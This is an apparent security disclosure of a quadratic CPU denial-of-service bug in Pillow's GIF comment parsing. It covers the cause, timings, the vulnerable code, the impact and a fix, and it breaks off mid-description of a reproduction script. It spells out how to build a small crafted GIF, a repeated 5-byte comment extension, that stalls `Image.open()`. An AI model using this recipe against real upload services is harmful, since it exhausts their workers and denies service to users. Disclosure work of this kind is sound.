GifImageFile._seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Opening a crafted GIF file with `Image.open()` takes time that grows with the square of the file's size, so anyone who can submit an image to a service that uses Pillow can keep one worker busy at full processor load for a long time with a small file. A 2 MB file takes about 5 seconds to open, a 4 MB file about 35 seconds, and an 8 MB file about 3 minutes. An ordinary GIF of the same size opens in well under a second. The cost is paid inside `Image.open()` itself, with default settings, before the application has seen the image's size or format. The bug is in `GifImageFile._seek()` in `src/PIL/GifImagePlugin.py`, which builds `info[\"comment\"]` by appending to an immutable `bytes` object with no size limit. It appends once per 255-byte sub-block (`comment += block`, line 261) and once per comment extension (`info[\"comment\"] += b\"\\n\" + comment`, line 266). Each append copies everything collected so far. A file made of many tiny comment extensions forces a full re-copy for each one. Because `_open()` ends with `self._seek(0)`, any code that only opens an uploaded file to identify it, read its dimensions, or make a thumbnail pays the full cost. The decompression-bomb check does not help, since the image is 1\u00d71. Memory use stays linear, so the effect is processor exhaustion and latency, bounded by whatever upload size the service allows (about 1 second at 1 MB). This is the same kind of issue as the EPS open-phase slowdown fixed as CVE-2021-28677, here in the GIF comment handling. The quadratic pattern was introduced in commit b2b737b68b06 (\"Allow arbitrary number of comment extension subblocks\", November 2018) and has shipped since Pillow 5.4.0. The attached script builds 2 MB and 4 MB test files and compares each against a byte-identical control whose extensions are labelled as plain text instead of comment. The 4 MB comment file took about 34 seconds to open, against 0.26 seconds for its control. A patch that collects the pieces in a list and joins them once is also attached. ## Details `GifImageFile._seek()` collects GIF comment extensions into `info[\"comment\"]` using `bytes` concatenation, once per 255-byte sub-block and once per comment extension, with no limit on the total. `bytes` is immutable, so every `+=` allocates a new object and copies everything accumulated so far; the work done by `Image.open()` is therefore quadratic in the amount of comment data in frame 0. A 1\u00d71 GIF89a whose body is nothing but the 5-byte comment extension `21 FE 01 41 00` repeated makes this directly observable. `Image.open(BytesIO(data))` on such a file, stock build at this commit, 2-CPU machine: | file size | comment extensions (`21 FE \u2026`) | same bytes labelled plain-text extension (`21 01 \u2026`) | |---|---|---| | 1 MB | 1.2 s | 0.09 s | | 2 MB | 4.9 s | 0.13 s | | 4 MB | 35 s | 0.26 s | | 8 MB | 183 s | \u2014 | The control column is the identical byte stream with the extension label changed from `0xFE` to `0x01`; it goes through the same loop and the same `self.data()` reads but is discarded instead of concatenated, and scales linearly. No `load()` is needed and no warning or exception is raised; `im.info[\"comment\"]` simply ends up holding the multi-megabyte blob. The code, `src/PIL/GifImagePlugin.py:229-281` (trimmed): ```python elif s == b\"!\": s = self.fp.read(1) block = self.data() \u2026 elif s[0] == 254: # # comment extension # comment = b\"\" # Read this comment block while block: comment += block # :261 one copy per sub-block block = self.data() if \"comment\" in info: # If multiple comment blocks in frame, separate with \\n info[\"comment\"] += b\"\\n\" + comment # :266 one copy per extension else: info[\"comment\"] = comment s = b\"\" continue \u2026 while self.data(): # every other extension: read and drop pass ``` `self.data()` (`:97-102`) reads one length byte and then that many bytes, so each call is cheap and bounded; the cost is entirely in the two `+=` lines. For a single comment extension of N bytes delivered as N/255 sub-blocks, line 261 copies about N\u00b2/510 bytes in total (4 MB \u2192 2.3 s, 8 MB \u2192 9.5 s, 16 MB \u2192 38 s measured). Splitting the same data into many small comment extensions is worse, because line 266 re-copies the whole of `info[\"comment\"]` once per extension: with 1-byte extensions a file of F bytes causes roughly F\u00b2/25 bytes of copying, which is the table above (growth \u00d74\u20137 per doubling once the buffer outgrows the CPU caches). This runs during `Image.open()`: `_open()` ends with `self._seek(0)` (`:135`), so any application that merely opens an uploaded file to identify it, read its size, or thumbnail it pays the full cost before it has made any decision about the image. `Image._decompression_bomb_check` is not involved (the image is 1\u00d71), and unlike PNG text chunks (`PngImagePlugin.MAX_TEXT_CHUNK` / `MAX_TEXT_MEMORY`) there is no cap on GIF comment size. Later frames repeat the same loop for their own comments via `seek()` / `n_frames`. With both `+=` sites replaced by list-append and a single `b\"\".join()` (as in the attached patch), the same 16 MB single-extension file opens in 0.03 s, confirming the concatenation is the whole cost. ## Impact Anyone who can get a GIF to a service that calls `PIL.Image.open()` on it \u2014 avatar/media uploads, thumbnailers, format sniffing, anything using `ImageOps`/`thumbnail()` on user files \u2014 can pin one worker process at 100 % CPU for about 5 s with a 2 MB file, 35 s with a 4 MB file and 3 minutes with an 8 MB file, under default settings, with the time growing quadratically in the permitted upload size. A benign GIF of the same size opens in well under a second, so request-cost assumptions based on file size do not hold. Memory use is only linear (the comment is retained in `im.info[\"comment\"]`), so the effect is CPU/latency denial of service of the worker pool rather than memory exhaustion; a handful of concurrent uploads is enough to saturate a typical pool. Upload size limits bound it (\u22481 s at 1 MB). This is the same shape as CVE-2021-28677 (\"EPS DOS on _open\", `docs/releasenotes/8.2.0.rst`), where a quadratic method of accumulating data in the open phase, before the image was accepted, was treated as a denial-of-service vulnerability; here the format is GIF and the accumulator is the comment extension. The quadratic accumulation was introduced in `b2b737b68b06` (\"Allow arbitrary number of comment extension subblocks\", 2018-11-27), first released in Pillow 5.4.0. ## Reproducing `repro` is a single Python script that uses the installed Pillow. Run it with no arguments. It needs no files, no network and no rebuild. It builds two GIFs of the same length, at 2 MB and at 4 MB. Each is the 13-byte GIF89a header for a 1\u00d71 screen, followed by `size/5` copies of the 5-byte extension `21